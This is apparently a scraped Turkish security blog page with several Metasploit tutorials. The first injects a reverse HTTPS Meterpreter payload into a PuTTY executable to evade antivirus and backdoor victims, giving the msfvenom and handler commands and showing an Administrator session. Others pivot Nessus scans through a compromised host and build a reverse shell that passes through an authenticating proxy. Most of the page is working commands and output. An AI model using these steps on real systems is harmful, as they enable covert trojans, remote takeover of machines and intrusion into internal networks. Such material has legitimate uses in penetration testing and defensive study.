<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-0xpT8zGTN4U/UcFVz7lNVeI/AAAAAAAAANA/9-6p83DLP2g/s1600/malicious.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="http://1.bp.blogspot.com/-0xpT8zGTN4U/UcFVz7lNVeI/AAAAAAAAANA/9-6p83DLP2g/s200/malicious.jpg" width="200" /></a></div>Bu notta basit olarak çalıştırılabilir bir Windows dosyasına Metasploit ile üretilmiş zararlı kodun nasıl enjekte edildiğinden bahsedilecektir. Burada amaç normal bir exe dosyası kullanarak sisteme arka kapı oluşturmak ve antivirüs yazılımlarının tespitinden kaçınmaktır. Metasploit <b>msfvenom </b>aracı ile Putty binary dosyasına zararlı kod enjekte edilebilir.<br /><a name="more"></a></div><div style="text-align: justify;">Öncelikle exe dosyası temin edilir.</div><h4># wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe</h4><div style="text-align: justify;">Akabinde encode edilmiş payload bu dosya içerisine enjekte edilir. Burada <b>Reverse HTTPS Meterpreter</b> payload'u kullanılmış ve 10 iterasyon ile <b>x86/shikata_ga_nai encoder</b>'ı kullanılmıştır.</div><h4># msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 10 -k -x /tmp/putty.exe LHOST=192.168.4.101 LPORT=443 > xputty.exe</h4><div style="text-align: justify;"><blockquote class="tr_bq"><b>-x</b> seçeneği ile şablon exe olarak daha önceden indirilen putty belirtilmiş ve zararlı kod içerisine gömülmüştür.<br /><b>-k </b>seçeneği ile zararlı kod hedef makinede yeni bir thread olarak çalışabilmekte ve orijinal Putty fonksiyonları aynen korunmaktadır.</blockquote></div><div style="text-align: justify;">Saldırgan makine üzerinde handler başlatılarak kurban üzerinde zararlı exe'nin çalışıtırılması beklenir.</div><h4>(msf)> use exploit/multi/handler<br />msf exploit(handler) > set payload windows/meterpreter/reverse_https<br />PAYLOAD => windows/meterpreter/reverse_https<br />msf exploit(handler) > set lport 443<br />LPORT => 443<br />msf exploit(handler) > set lhost 192.168.4.101<br />LHOST => 192.168.4.101<br />msf exploit(handler) > exploit<br />[*] Started HTTPS reverse handler on https://192.168.4.101:443/<br />[*] Starting the payload handler...</h4><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxhzVKJ56pWkMySQEsK9mHj5nhERDSwr6rhiJxi93D-NxEwhRlgml0z_x6AVREMxvFW7__bRmqZWGF2a974HIZyY8OXadgYSD0Q20Gj-1rtge7SvEE5O89a8-TaiGM0ry-U2uZl9GuNyUL/s1600/putty-default.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="310" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxhzVKJ56pWkMySQEsK9mHj5nhERDSwr6rhiJxi93D-NxEwhRlgml0z_x6AVREMxvFW7__bRmqZWGF2a974HIZyY8OXadgYSD0Q20Gj-1rtge7SvEE5O89a8-TaiGM0ry-U2uZl9GuNyUL/s320/putty-default.png" width="320" /></a></div>Kurban tarafında exe çalıştırıldığında her ne kadar fonksiyonellik olarak fark gözükmese de arka planda saldırgan makineye bağlantı kurulmakta ve sistem ele geçirilmektedir.<br /><h4>[*] Meterpreter session 1 opened (192.168.4.101:443 -> 192.168.1.11:2710) at 2013-07-01 13:01:00 +0100<br />meterpreter > pwd<br />C:\<br />meterpreter > getuid<br />Server username: AG\Administrator</h4></div>

Çalıştırılabilir Windows Dosyası içerisine Zararlı Kod Enjeksiyonu

Bu notta basit olarak çalıştırılabilir bir Windows dosyasına Metasploit ile üretilmiş zararlı kodun nasıl enjekte edildiğinden bahsedilecekt...

Metasploit ile Sızılmış Sistemler Üzerinden Nessus Taraması

<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzryrh6UwMPm80dt9CCtrdk05PIgj15DFpSg0pQYuDhDRxpTzaJxv0Lr5Fc7lQ7e8eyy6KallcMIb7hSYfcLv-Ln0va485mSuvwiAluqHuYxiu0hZxXNWRdAIVi1havNu0_FED1Fhmr12j/s1600/reverse_socks_topology.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzryrh6UwMPm80dt9CCtrdk05PIgj15DFpSg0pQYuDhDRxpTzaJxv0Lr5Fc7lQ7e8eyy6KallcMIb7hSYfcLv-Ln0va485mSuvwiAluqHuYxiu0hZxXNWRdAIVi1havNu0_FED1Fhmr12j/s320/reverse_socks_topology.jpg" width="320" /></a></div><h4>[*] Meterpreter session 1 opened (192.168.0.2:31337 -> 192.168.0.80:24592)</h4><div style="text-align: justify;">Hedef sisteme sızıldıktan sonra normalde direkt olarak erişilemeyen ağları bu sistem üzerinden Nessus ile taramak için şu adımlar takip edilir. Burada 192.168.0.2 makinesinden 192.168.0.80'e meterpreter oturumu açılmış, bu oturum üzerinden 10.1.1.0/24 ağı taranmak hedeflenmiştir.<br /><a name="more"></a></div><h4>msf exploit(handler) > route add 10.1.1.0 255.255.255.0 1<br />msf exploit(handler) > use auxiliary/server/socks4a<br />msf auxiliary(socks4a) > run<br />[*] Auxiliary module execution completed<br />[*] Starting the socks4a proxy server<br />msf auxiliary(socks4a) > </h4><div style="text-align: justify;">Nessus'un SOCKS desteği olmadığı için MSF ile kurulan yukarıdaki proxy sunucusunu kullanmak için <b>proxychains </b>aracı kullanılabilir. Kullanılmadan önce <b><i>/etc/proxychains.conf</i></b> dosyası içerisinde şu eklenti yapılmalıdır.</div><h4>socks4  127.0.0.1 1080</h4><div style="text-align: justify;">Yukarıdaki yapılandırma ile 1080. port kendisine gelen bütün paketleri meterpreter oturumu üzerinde tünelleyecektir. Bu adımdan sonra Nessus başlatılabilir.</div><h4># proxychains /usr/sbin/nessusd -D</h4><div style="text-align: justify;">İstismar edilen makine üzerinden tarama yapmak bağlantının durumuna göre çok uzun zaman alabileceğinden <b>minimal policy</b> ayarları ile taramayı yapmak en uygundur. Tarama komut satırından yapılabileceği gibi Nessus web arayüzünden de yapılabilir. MSF üzerinden Nessus taraması şu şekilde yapılabilir.</div><h4>msf auxiliary(socks4a) > load nessus<br />[*] Nessus Bridge for Nessus 4.2.x<br />[+] Type nessus_help for a command listing<br />[*] Successfully loaded plugin: nessus<br />msf auxiliary(socks4a) > nessus_connect NESSUS_USER@localhost<br />[+] Password:<br />...<br />[*] Connecting to https://localhost:8834/ as NESSUS_USER<br />[*] Authenticated<br />msf auxiliary(socks4a) > nessus_policy_list<br />[+] Nessus Policy List<br /><br />ID  Name        Comments<br />--  ----        --------<br />4   Minimal<br />3   noping<br />2   Web<br />1   All<br /><br />msf auxiliary(socks4a) > nessus_scan_new 4 "Quick Windows" 10.1.1.2<br />[*] Creating scan from policy number 4, called "Quick Windows" and scanning 10.1.1.2<br />[*] Scan started.  uid is 60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee<br />msf auxiliary(socks4a) > nessus_scan_status<br />[+] Running Scans<br /><br />Scan ID                                               Name           Status   Current Hosts  Total Hosts<br />-------                                               ----           ------   -------------  -----------<br />60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee  Quick Windows  running  0              1<br /><br />[*] You can:<br />[+]             Import Nessus report to database :      nessus_report_get <reportid><br />[+]             Pause a nessus scan :                   nessus_scan_pause <scanid></h4><div style="text-align: justify;">Tarama sonucunda elde edilen raporun MSF'ye aktarılması ve hosts komutu ile isteğe göre süzülmesi mümkündür.</div><h4>msf auxiliary(socks4a) >  nessus_report_get 60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee<br />[*] importing 60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee<br />[*] 10.1.1.2   Done!                                         <br />[+] Done</h4><h3><a href="http://www.digininja.org/blog/nessus_over_sock4a_over_msf.php" target="_blank">Kaynak</a></h3>

Metasploit ile Sızılmış Sistemler Üzerinden Nessus Taraması

[*] Meterpreter session 1 opened (192.168.0.2:31337 -> 192.168.0.80:24592) Hedef sisteme sızıldıktan sonra normalde direkt olarak erişile...

Metasploit ile Basic Authenticaton Kullanan Vekil Sunucunun Aşılması

<div style="text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaYShDpbZIum44dgQErWHX8DyAJbJO8_eDfvNszw7y9SB75t2fIVkwNQlVgSqHfjg0_P5qCsQqGi9qc1gdsq8-vfHXEmdeQ1sBWtQoFVGPNkcVUQuy3cDT6CdNcQm0gZrUp_BmNNLgunle/s1600/basic_auth.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="148" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaYShDpbZIum44dgQErWHX8DyAJbJO8_eDfvNszw7y9SB75t2fIVkwNQlVgSqHfjg0_P5qCsQqGi9qc1gdsq8-vfHXEmdeQ1sBWtQoFVGPNkcVUQuy3cDT6CdNcQm0gZrUp_BmNNLgunle/s200/basic_auth.png" width="200" /></a>Vekil sunucu kullanan ortamlarda ters bağlantı elde edebilmek için kullanılacak payload'un vekil sunucuyu ve kullandığı kimlik doğrulama tipini desteklemesi gerekmektedir. Bu notta NTLM tipini de destekleyen Metasploit <b>reverse_https</b> modülü ile basic authentication kullanan vekil sunucu üzerinden nasıl bağlantı sağlanacağı anlatılacaktır.</div><div style="text-align: justify;"></div><a name="more"></a><div style="text-align: justify;">NTLM'in aksine başarılı bir basic authentication sonrasında kullanıcı adı ve parola bilgileri tarayıcı gibi proseslerinin üzerinde tutulur. Bu yüzden <b>reverse_http(s)</b> parola hakkında bilgi sahibi değildir. Bunun yerine reverse_http(s) stager'ı <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa385483(v=vs.85).aspx" target="_blank">WinInet API</a>'sini kullanarak Internet erişimini Windows'un yönetmesine izin verir. Aşağıdaki reverse_https versiyonunda <b><span style="color: #990000;">payload içerisine geçerli bir kullanıcı adı/parola belirtilir</span></b>. IP, port vb. gibi vekil sunucu ayarları ise <b>WinInet </b>tarafından otomatik olarak yönetilir.</div><h2>Kullanım</h2><div style="text-align: justify;">Modülü <a href="http://funoverip.net/wp-content/uploads/2012/10/reverse_https_proxy_basicauth.tar.gz" target="_blank">bağlantıdan</a> temin edebilirsiniz.</div><div style="text-align: justify;"></div><h2>Modül bilgileri</h2><h4 style="text-align: start;">msf  > info payload/windows/meterpreter/reverse_https_proxy_basicauth<br />Name: Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager (proxy basic auth)<br />Module: payload/windows/meterpreter/reverse_https_proxy_basicauth<br />Version: 1, 15548, 14976<br />Platform: Windows<br />Arch: x86<br />Needs Admin: No<br />Total size: 425<br />Rank: Normal<br /><br />Provided by:<br />  skape<br />  sf<br />  hdm<br /><br />Basic options:<br />Name                             Current Setting  Required  Description<br />----                                 ---------------   -------  -----------<br />EXITFUNC                     process           yes       Exit technique: seh, thread, process, none<br />LHOST                                                  yes      The local listener hostname<br />LPORT                          8443               yes      The local listener port<br />PROXY_AUTH_PASS    pass123           yes       Proxy authentication (password)<br />PROXY_AUTH_USER   username         yes       Proxy authentication (username)<br /><br />Description:<br />  Tunnel communication over HTTP using SSL, using hardcoded proxy auth<br />  settings, Inject the meterpreter server DLL via the Reflective Dll<br />  Injection payload (staged)</h4><h2>Exe üretimi</h2><h4># msfvenom -p windows/meterpreter/reverse_https_proxy_basicauth -f exe LPORT=443 LHOST=172.16.99.1 PROXY_AUTH_USER=kullanici_adi PROXY_AUTH_PASS=parola > /tmp/msf.exe</h4><span style="color: black;"><b>Kaynak:</b> <a href="http://funoverip.net/2012/10/metasploit-stager-reverse_https-basic-authentication-against-proxy/" target="_blank">http://funoverip.net/2012/10/metasploit-stager-reverse_https-basic-authentication-against-proxy/</a></span>

Metasploit ile Basic Authenticaton Kullanan Vekil Sunucunun Aşılması

Vekil sunucu kullanan ortamlarda ters bağlantı elde edebilmek için kullanılacak payload'un vekil sunucuyu ve kullandığı kimlik doğrulama...

Meterpterer Modül Geliştirme Sürecinde Hata Ayıklama

Meterpreter modulu gelistirme surecinde istenilen modulun calisma surecinde hata ayiklama islemlerini gerceklestirebilmek icin meterpreter k...